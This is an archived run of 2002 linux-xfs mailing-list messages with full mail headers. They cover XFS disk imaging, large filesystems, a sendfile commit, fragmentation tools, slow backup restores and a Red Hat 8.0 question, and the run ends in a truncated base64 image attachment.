g4u http://www.feyrer.de/g4u/ It is like ghost, but it is filesystem independent. In a production environment, you upload a disk image to a ftp server. Then for your target machines you use a g4u boot floppy/CD to boot and install the image on to the server you are setting up. You should be able to do many in parallel. I don't know how fast it is, but since it can do many in parallel maybe it is not so important. Greg Freemyer >> Steve and Eric, Thanks for the quick responses. The reason I ask is, >> we are developing a "drive mini plant" here in mfg to build >> customer disks for the McKinley (Linux IA64) systems. We want to >> try and use as much of the same code/processes that we use in our current >> drive mini plants for building IRIX drives. One of the main tools used >> to transfer images to the IRIX disks is xfs_copy. It's great >> because it FAST! and we can copy multiple targets at the same >> time. Did I mention that it is FAST! ;) >> We have a disk build process in place for the McKinley disks, but it >> uses a dump/restore mechanism. It only allows us to build one disk >> at a time and it's is very, very slow. >> Steve, I understand the irix threading primitives limitation. >> Does that pretty much rule out *any* chance of xfs_copy running >> on a Linux platform?? >> Thanks again!, >> Jim >> Stephen Lord wrote: >> >On Wed, 2002-11-13 at 11:21, James Rada wrote: >> > >> > >> >>Hi, >> >> >> >>Is xfs_copy available in any release of XFS for Linux. >> >>preferably IA64?? >> >> >> >> >> > >> >Sorry, it has not been ported - it uses irix threading primitives >> >which have not been implemented on linux. >> > >> >Steve >> > >> > >> > >> > >> [[HTML alternate version deleted]] Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 13 13:03:33 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 13:03:37 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADL3WuR007249 for ; Wed, 13 Nov 2002 13:03:32 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADJ5AG8024156 for ; Wed, 13 Nov 2002 11:05:10 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA05675; Wed, 13 Nov 2002 15:05:06 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-18.corp.sgi.com [134.15.64.18]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id PAA28980; Wed, 13 Nov 2002 15:04:58 -0600 (CST) Subject: Re: FileSystem >2 Terabytes From: Stephen Lord To: Gabor Forgacs Cc: Nathan Straz , linux-xfs@oss.sgi.com In-Reply-To: <200211131808.52822.gabor@colorfront.com> References: <200211121648.21283.gabor@colorfront.com> <20021112165409.GC23958@sgi.com> <200211131808.52822.gabor@colorfront.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 13 Nov 2002 14:59:47 -0600 Message-Id: <1037221188.1352.9.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1685 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-11-13 at 11:08, Gabor Forgacs wrote: > Hi > > Thank you for your answer, i just tried to catch patches against 2.4 kernel > but wasn't able to find anywhere. Is it the lbd patch? > Could You help me out in some way? > Try here: http://www.gelato.unsw.edu.au/patches/ Steve From owner-linux-xfs@oss.sgi.com Wed Nov 13 13:26:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 13:26:30 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADLQPuR007851 for ; Wed, 13 Nov 2002 13:26:25 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADGD8G8010872 for ; Wed, 13 Nov 2002 08:13:08 -0800 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA45897; Wed, 13 Nov 2002 12:13:04 -0600 (CST) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 18C20X-0006K0-00; Wed, 13 Nov 2002 12:12:57 -0600 Date: Wed, 13 Nov 2002 12:12:57 -0600 From: Nathan Straz To: Gabor Forgacs Cc: linux-xfs@oss.sgi.com Subject: Re: FileSystem >2 Terabytes Message-ID: <20021113181257.GB21699@sgi.com> Mail-Followup-To: Gabor Forgacs , linux-xfs@oss.sgi.com References: <200211121648.21283.gabor@colorfront.com> <20021112165409.GC23958@sgi.com> <200211131808.52822.gabor@colorfront.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211131808.52822.gabor@colorfront.com> User-Agent: Mutt/1.4i X-archive-position: 1686 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Wed, Nov 13, 2002 at 06:08:52PM +0100, Gabor Forgacs wrote: > On Tuesday 12 November 2002 05:54 pm, you wrote: > > On Tue, Nov 12, 2002 at 04:48:21PM +0100, Gabor Forgacs wrote: > > > Is it possible to use any filesystem under linux which is bigger than > > > 2Tbytes. Is there any solution ? > > > > There is no problem creating a filesystem larger than 2TB. The problem > > in Linux is addressing a block device of that size. Peter Chubb is > > working on large block devices for Linux. It should be easy to find > > patches for 2.4.x and 2.5.x in the linux-kernel archives. > > Thank you for your answer, i just tried to catch patches against 2.4 kernel > but wasn't able to find anywhere. Is it the lbd patch? > Could You help me out in some way? http://www.gelato.unsw.edu.au/patches/ -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Wed Nov 13 13:51:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 13:52:01 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADLptuR012159 for ; Wed, 13 Nov 2002 13:51:55 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADLvGkq004152 for ; Wed, 13 Nov 2002 15:57:16 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA22034 for ; Wed, 13 Nov 2002 15:53:29 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA82965 for ; Wed, 13 Nov 2002 15:53:27 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAE581v10410 for linux-xfs@oss.sgi.com; Thu, 14 Nov 2002 00:08:01 -0500 Resent-Message-Id: <200211140508.gAE581v10410@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA79990 for ; Wed, 13 Nov 2002 15:22:37 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gADLMZkZ31813214 for ; Wed, 13 Nov 2002 13:22:36 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gADLLDHO001446 for ; Wed, 13 Nov 2002 22:21:13 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gADLLDP1001445 for hch@sgi.com; Wed, 13 Nov 2002 22:21:13 +0100 Date: Wed, 13 Nov 2002 22:21:13 +0100 From: Christoph Hellwig Message-Id: <200211132121.gADLLDP1001445@lab343.munich.sgi.com> Subject: TAKE - Add sendfile support To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 14 Nov 2002 00:08:01 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1687 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Now we support things like sendfile(2), loop and zero-copy nfs serving in 2.5-CURRENT. Date: Wed Nov 13 13:20:37 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132980a linux/fs/xfs/linux/xfs_lrw.c - 1.176 linux/fs/xfs/linux/xfs_vnode.h - 1.73 - implement VOP_SENDFILE linux/fs/xfs/linux/xfs_file.c - 1.81 - implement linvfs_sendfile From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:01:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:01:20 -0800 (PST) Received: from ishtar.tlinx.org (ishtar.tlinx.org [64.81.58.33]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADM1DuR012691 for ; Wed, 13 Nov 2002 14:01:14 -0800 Received: from Shiva (shiva [192.168.3.20]) by ishtar.tlinx.org (8.12.6/8.12.2/SuSE Linux 0.6) with ESMTP id gADM2mg2011237 for ; Wed, 13 Nov 2002 14:02:48 -0800 From: "LA Walsh" To: Subject: RE: Defrag Utility Date: Wed, 13 Nov 2002 14:02:46 -0800 Message-ID: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 In-Reply-To: <20021102230344.GA7854@tapu.f00f.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal X-archive-position: 1688 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: law@tlinx.org Precedence: bulk X-list: linux-xfs Is there any tool to tell how many files have how many fragments out of how many files...something on the order of the following files have more than 1 fragment: frags file 2 /tmp/xyzzy 35 /var/mail/box ... 37 objects out of 1000 total, >1 fragment: 3.7% fragmented objects 1100 fragments total, 10% fragmented file space (1000 optimal fragments) [are xfs allocates are done in "zones"? so similar files in same directory are usually near each other on disk?] Does it make sense to talk about 'free space fragmentation'? For example, on a 'start from beginning' FS like FAT32, optimal may be 1 large area of free space, except for an extra segment or so after frequently- modified-files, but if a disk was, in some way zoned, optimal might be 100 areas of freespace] 110 free space fragments (50 optimal) 55% fragmention. Does xfs_fsr defrag freespace as well? Any idea on how much fragmentation affects performance on xfs? Is it on the same order that it is on FAT32 or NTFS? I've read (perhaps it was defrat company propaganda), that while FAT could be defragemented on an occasional, as needed basis, NTFS needed more aggressive fragmentation -- so much so that an auto defragger in background could be useful in some circumstances. I've tended to think of *nix fs's as not usually needing defragmenting if they were kept below 90% capacity, I think xfs's defragmenter is the first I've heard of on a *nix. Order on disk correlated to execution order after boot can affect boot performance on WindowsXP by over 100%. Have there been any measurements on block ordering with xfs (or any *nix fs's for that matter)... -linda > -----Original Message----- > From: linux-xfs-bounce@oss.sgi.com > [mailto:linux-xfs-bounce@oss.sgi.com] On Behalf Of Chris Wedgwood > Sent: Saturday, November 02, 2002 3:04 PM > To: mgiesbre > Cc: linux-xfs@oss.sgi.com > Subject: Re: Defrag Utility > > > On Thu, Nov 02, 2000 at 05:06:02PM -0600, mgiesbre wrote: > > > I was wondering if there was any work being done on an XFS defrag > > utility, like the command that is available in IRIX. Any info? > > man xfs_fsr > > > --cw > > > From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:09:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:09:58 -0800 (PST) Received: from meth.gravital.net (meth.gravital.net [198.78.66.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADM9suR013527 for ; Wed, 13 Nov 2002 14:09:54 -0800 Received: (qmail 33349 invoked by uid 65534); 13 Nov 2002 22:11:34 -0000 Received: from 66.236.158.162 ( [66.236.158.162]) as user sherman-core@mitosys.com@meth.gravital.net by meth.gravital.net with HTTP; Wed, 13 Nov 2002 15:11:33 -0700 Message-ID: <1037225493.3dd2ce15cb6c2@meth.gravital.net> Date: Wed, 13 Nov 2002 15:11:33 -0700 From: Sherman Boyd To: linux-xfs@oss.sgi.com Subject: Slow restore using NetVault backup application MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1 X-Originating-IP: 66.236.158.162 X-archive-position: 1689 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: meekrob@mitosys.com Precedence: bulk X-list: linux-xfs Hi, I've been using the NetVault backup application to back up my Linux boxes running XFS over the network. Everything is very fast, except restores crawl along at about 21 kb per second. The guys at NetVault said that it was because I have a journaling filesystem, and suggested that I turn off journaling (if possible) while I am restoring a backup. This seems strange to me and brings up some questions: 1) Does anyone else experience this kind of an issue using any other backup application? 2) Can I turn off journaling in XFS temporarily to resolve this, and would I want to? 3) Why would journaling affect the speed of restores and not backups? Thanks for reading this and thanks to those that develop XFS, Sherman Boyd meekrob@mitosys.com From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:14:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:14:27 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMEPuR013974 for ; Wed, 13 Nov 2002 14:14:25 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 828AF14A95; Wed, 13 Nov 2002 23:15:59 +0100 (MET) Date: Wed, 13 Nov 2002 23:15:58 +0100 From: Andi Kleen To: LA Walsh Cc: linux-xfs@oss.sgi.com Subject: Re: Defrag Utility Message-ID: <20021113231558.A2917@oldwotan.suse.de> References: <20021102230344.GA7854@tapu.f00f.org> <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org>; from law@tlinx.org on Wed, Nov 13, 2002 at 02:02:46PM -0800 X-archive-position: 1690 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Wed, Nov 13, 2002 at 02:02:46PM -0800, LA Walsh wrote: > Is there any tool to tell how many files have how many fragments out of > how many files...something on the order of xfs_bmap reports that. The more extents the file has the more fragmented it is. -Andi From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:15:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:15:50 -0800 (PST) Received: from taz2.fiberhosting.com (IDENT:3TmLFz0zbbCVjJL0LMm7532jpg1XROxS@KNIGHT.01.dios.net [65.222.230.112]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMFkuR014151 for ; Wed, 13 Nov 2002 14:15:46 -0800 Received: (qmail 27421 invoked by uid 2526); 13 Nov 2002 22:17:24 -0000 To: LA Walsh Subject: RE: Defrag Utility -- UNIX v. the "one-big C: drive" world Message-ID: <1037225844.3dd2cf7457123@webmail.smithconcepts.com> Date: Wed, 13 Nov 2002 17:17:24 -0500 (EST) From: "Bryan J. Smith" Cc: linux-xfs@oss.sgi.com References: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> In-Reply-To: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.7 X-Originating-IP: 208.246.35.243 X-archive-position: 1691 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: b.j.smith@ieee.org Precedence: bulk X-list: linux-xfs Quoting LA Walsh : > Does xfs_fsr defrag freespace as well? Any idea on how much > fragmentation affects performance on xfs? Is it on the same > order that it is on FAT32 or NTFS? I've read (perhaps it was > defrat company propaganda), that while FAT could be > defragemented on an occasional, as needed basis, NTFS needed > more aggressive fragmentation -- so much so that an auto > defragger in background could be useful in some circumstances. > I've tended to think of *nix fs's as not usually needing defragmenting > if they were kept below 90% capacity, I think xfs's defragmenter is the > first I've heard of on a *nix. Correct. Because there is usually such a strict separation of binaries, data and temporary/swap files -- the the formers not becoming at the mercy of the latters. Assuming, of course, you seperate out such filesystems to take advantage of that inherit UNIX advantage. The reservation of the last 5-10% of disk space also prevents massive fragmentation on filesystems that fill up quickly. > Order on disk correlated to execution order after boot can affect boot > performance on WindowsXP by over 100%. Have there been any > measurements on block ordering with xfs (or any *nix fs's for that > matter)... Again, we return to the issue of "one big C: drive" (even though NT 5.x now supports, unofficially because of some application incompatibilities, "filesystem mounts in filesytems"). A small / (root), which houses /etc, /sbin, etc... that is fairly static is not one to fragment very quickly. -- Bryan J. Smith, E.I. Contact Info: http://thebs.org A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA --------------------------------------------------------------- There are two types of people: people who fear guns and people who respect guns. The latter are not ones to commit violent crimes, but the former seemingly thinks otherwise to be true. From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:20:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:20:14 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMK9uR014858 for ; Wed, 13 Nov 2002 14:20:09 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADMPTkq005038 for ; Wed, 13 Nov 2002 16:25:30 -0600 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA95962; Wed, 13 Nov 2002 16:21:43 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA73164; Wed, 13 Nov 2002 16:21:42 -0600 (CST) Subject: RE: Defrag Utility From: Eric Sandeen To: LA Walsh Cc: linux-xfs@oss.sgi.com In-Reply-To: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> References: <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Nov 2002 16:20:27 -0600 Message-Id: <1037226027.32287.88.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1692 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Some quick answers... xfs_db can tell you overall fragmentation, I suppose a wrapper around this would be nice: [root@stout root]# xfs_db -r /dev/hda9 xfs_db: frag actual 408, ideal 408, fragmentation factor 0.00% actual/ideal are number of extents, factor is something like (actual - ideal) / ideal xfs_bmap can show you the actual number of extents in a file. xfs does try to place files in the same directory in the same "allocation group," which is a sub-chunk of the filesystem. fsr does not defrag freespace. xfs doesn't generally need much defragmentation, although certain types of writes (sync, for example) -can- fragment files pretty badly. If you'd like to do some of the performance measuerements you talk about, let us know. :) -Eric On Wed, 2002-11-13 at 16:02, LA Walsh wrote: > Is there any tool to tell how many files have how many fragments out of > how many files...something on the order of > > the following files have more than 1 fragment: > frags file > 2 /tmp/xyzzy > 35 /var/mail/box > ... > 37 objects out of 1000 total, >1 fragment: 3.7% fragmented objects > 1100 fragments total, 10% fragmented file space (1000 optimal > fragments) > [are xfs allocates are done in "zones"? so similar files in same > directory > are usually near each other on disk?] Does it make sense to talk about > 'free space fragmentation'? > For example, > on a 'start from beginning' FS like FAT32, optimal may be 1 large area > of free space, except for an extra segment or so after frequently- > modified-files, but if a disk was, in some way zoned, optimal might > be 100 areas of freespace] > 110 free space fragments (50 optimal) 55% fragmention. > > Does xfs_fsr defrag freespace as well? Any idea on how much > fragmentation > affects performance on xfs? Is it on the same order that it is on FAT32 > or > NTFS? I've read (perhaps it was defrat company propaganda), that while > FAT > could be defragemented on an occasional, as needed basis, NTFS needed > more > aggressive fragmentation -- so much so that an auto defragger in > background > could be useful in some circumstances. > > I've tended to think of *nix fs's as not usually needing defragmenting > if > they were kept below 90% capacity, I think xfs's defragmenter is the > first I've > heard of on a *nix. > > Order on disk correlated to execution order after boot can affect boot > performance on WindowsXP by over 100%. Have there been any measurements > on block ordering with xfs (or any *nix fs's for that matter)... > > -linda > > > > > -----Original Message----- > > From: linux-xfs-bounce@oss.sgi.com > > [mailto:linux-xfs-bounce@oss.sgi.com] On Behalf Of Chris Wedgwood > > Sent: Saturday, November 02, 2002 3:04 PM > > To: mgiesbre > > Cc: linux-xfs@oss.sgi.com > > Subject: Re: Defrag Utility > > > > > > On Thu, Nov 02, 2000 at 05:06:02PM -0600, mgiesbre wrote: > > > > > I was wondering if there was any work being done on an XFS defrag > > > utility, like the command that is available in IRIX. Any info? > > > > man xfs_fsr > > > > > > --cw > > > > > > > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:21:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:21:57 -0800 (PST) Received: from usgate04.e-mail.com (usgate04.e-mail.com [204.146.55.144]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMLsuR015130 for ; Wed, 13 Nov 2002 14:21:54 -0800 Received: from omahcas10.corp.mutualofomaha.com ([170.31.129.201]) by usgate.e-mail.com (ussmtpg04) with SMTP id <2002111322232813402ide2ge>; Wed, 13 Nov 2002 22:23:28 +0000 Received: from 10.8.139.125 by omahcas10.corp.mutualofomaha.com with ESMTP (Mutual of Omaha SMTP Relay (MMS v5.0)); Wed, 13 Nov 2002 16:23: 17 -0600 X-Server-Uuid: 0D0B078B-E426-4F09-82D4-BE17000DEDA1 Subject: XFS redhat 8.0 To: linux-xfs@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: Bryan.Jorgensen@mutualofomaha.com Date: Wed, 13 Nov 2002 16:23:16 -0600 X-MIMETrack: Serialize by Router on Notes29/MutualOMA(Release 5.0.11 |July 24, 2002) at 11/13/2002 04:23:21 PM MIME-Version: 1.0 X-WSS-ID: 11CC0F5F248762-01-01 Content-Type: multipart/mixed; boundary="0__=09BBE6E3DFE962288f9e8a93df938690918c09BBE6E3DFE96228" Content-Disposition: inline X-archive-position: 1693 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Bryan.Jorgensen@mutualofomaha.com Precedence: bulk X-list: linux-xfs --0__=09BBE6E3DFE962288f9e8a93df938690918c09BBE6E3DFE96228 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Are you going to be developing a cd like the others for redhat 8.0? (Embedded Bryan Jorgensen image moved Mutual of Omaha to file: I/S Field Assistance Center pic01999.gif) x7124 --0__=09BBE6E3DFE962288f9e8a93df938690918c09BBE6E3DFE96228 Content-Type: image/gif; name=pic01999.gif Content-Disposition: attachment; filename=pic01999.gif Content-Transfer-Encoding: base64 R0lGODlhMgAyAOYAAAAAAAEHFQ4SGRYWGAAMJQMQKgMVNxYaIREePB0gKBkj OSYmJyktMy0xNzY2NwQbSQ0iSgYjWxMlRhIpVx4wUgkpaSQvRCExTyk5Wjo8 QSE8bztASjtEVS1AZSpGezRGaDdMdEhISUdLVEtRXFdXV0BMZUpTZUVWellc Y1NedFxhal1jcmdnaGdsdm5xd3Z3eQs3jQg9pRlAkBVIrDRRhyhSpj1mtRNO xh9f5SRayyJf4iJf4y1i0DRv6kRbiENekkxllVRyq2RvhWxzgml4l3Z7hXF9 lWN7qGB9tUdyyUh74n2BiHaCmmqBrWmDsnaHqHWMuHqRvVyE1EmD92qM0WiV 73Wg/oSFhomMkIyRmpWVloiVr52gp5qluqanp6Wrt62wtbe4uIScyo2iy4Wi 2piox5it15yx15Gx8KGsxKizyaS22Le7wrK+1KG88LrE1a/H9MfHyMbM1c3R 2NbX2MHN48jU6cra+Nbc59Pd8Nzj8+Xm5+Xr9u3x+Pb3+QAAACH/C05FVFND QVBFMi4wAwEAAAAh+QQFDwB/ACwAAAAAMgAyAAAHSoAAgoOEhYaHiImKi4yN jo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6 u7y9vr/AwcLDxMXGj4EAACH5BAUPAH8ALBYAHAAFABIAAAccgH8Df4QiLwKE iYqLjI2Oj5CRjwIZB4QLKAmBAAAh+QQFDwB/ACwSAB0ADAARAAAHMYB/fwMr VyuCiIIkVxsCiYgCJAGPlJWWl5iZmpucnZ6cjpYHLBuVIS5XIQOVLA6IgQAA IfkEBQ8AfwAsEAAeABEADgAABzaAf38Cgn8BhYiIAigshImPfyIojpCIDCwJ lY8LDpqen6ChoqOkogcqlJ8oJKIiLgOiL7B/gQAAIfkEBQ8AfwAsDwAhABIA CgAABzeAfwstB3+Gh4iJISKJjYgCKguOkwMshZOIBwyVApiIDSSCAZ6HDqGk iCQhqIcJLQOssY0shoEAACH5BAUPAH8ALA8AIAASAAsAAAc3gH+Cg4SFAwOF iYULLIqOfwIsDo+KGSGUiQ0kfy2Ygwx/AywLnoMBJJOlgg4oAaqhI6SvrqqB AAAh+QQFDwB/ACwRAB4AEAAPAAAHMoB/goOEAywNhImJDUsOio9/Cy8LkIoZ fwGVmpucnZ6foJwsjp0NLpSdDi8hngOXm4EAACH5BAUeAH8ALBQAHAAJABIA AAcsgH+CfwECg4cOVy8bAYeCCSxLjoMMk5aXmJmam5ydnoNDVySVjgIhoyiD gQAAIfkEBQ8AfwAsFwAsAAMABgAABxOADgN/Kg4qCwF/GYMhgywHf4EAACH5 BAUPAH8ALBUAAgAFADAAAAeDgH9/AYKCCwKFCwOFGYuCIo5/JJGThSiRLJgJ hS6OAS+RLwuCAqCkV44CqKepV6N/AloHpFmbfwdYjgNYr7i6S7O3q7BLtrij Kn9hIYIJtYIMXrYkca8odNbYgiTaf9e2KNWPbK8hYdmv3Nng4n9adA5/A1dx ISySc68OYcZavVqbAgEAIfkEBQ8AfwAsFQAFAAQALQAAB3iAf38Ogn8ZhSKF iiwHfwIvggJXA45XkVcLfwdYjQNaCZpamQeffwNcjaSCC1yZA16rXpkLsH8M sn+0mbezuLSCWGyCDbghcYIudIIshS6FzMu5f8ygJGCUf9d/JF6NIV6UIVzh qH9YYQuPYYXCtlqUAAkAfwD1gQAAIfkEBQ8AfwAsFQAFAAYALQAAB4GAf38Z goUihYIkiIuCKAOFACyIkQmQLogBL4+CAC8LhQKaoFebfwKko6WniAJaB6BZ n4IDWqUDWYgHWpWzuIW6vKa+grqIV2GICb6vDF6IJHGIKIvTz9TXr4IbWIiE sn8odN/h4+KFKHHfWnQOs390h41x8X/tJKV/Id9/LAx/gQAAIfkEBQ8AfwAs FgACAAcAMAAAB6iAf38DgoUHDIWFDgGJDiSEhRmPiSIkC4l/Kg2JJCubhSQv DpgtIYksQ6aFLi6qgi4vrn8uV7IvtYm3I7kvKrlLLIlXV8GFw8WCx4ZYQy6F A1jEiczIf9HV19NXL4lgV2HCWtyFWuWYV3SQf3Ho6ux0B4Io7+7o8YJh9oUv L+mFXvoE0Sv07t66gMnoCIDEbg83EVcabmBEwpq/Pw2wYPGS6MALZ7mQBQIA IfkEBQ8AfwAsFgAFAAcALQAAB3qAf38hAYKGh4cDiCQJiC8MiJF/L5FXhwIs lohYjpJ/JpEoiFcsiFqeppFaLaOUh1quhlouprGCsKm5hpx/C4ZcWF6SB6jF xpeCIX8tcQKHQ2GKhixhztNg0oIsXtl/LGCILHG0yn9DdH8Ahi9xhg7evIIJ A93p6oKBAAAh+QQFDwB/ACwWAAUADQAsAAAHn4B/fyQDgoaHiImIC4qHKg2N hiuQkZWHLZZ/Q5UBLi6ZL5afmX8hmSOWLyqWS6SZV68smaORV7KVV6G4igEZ 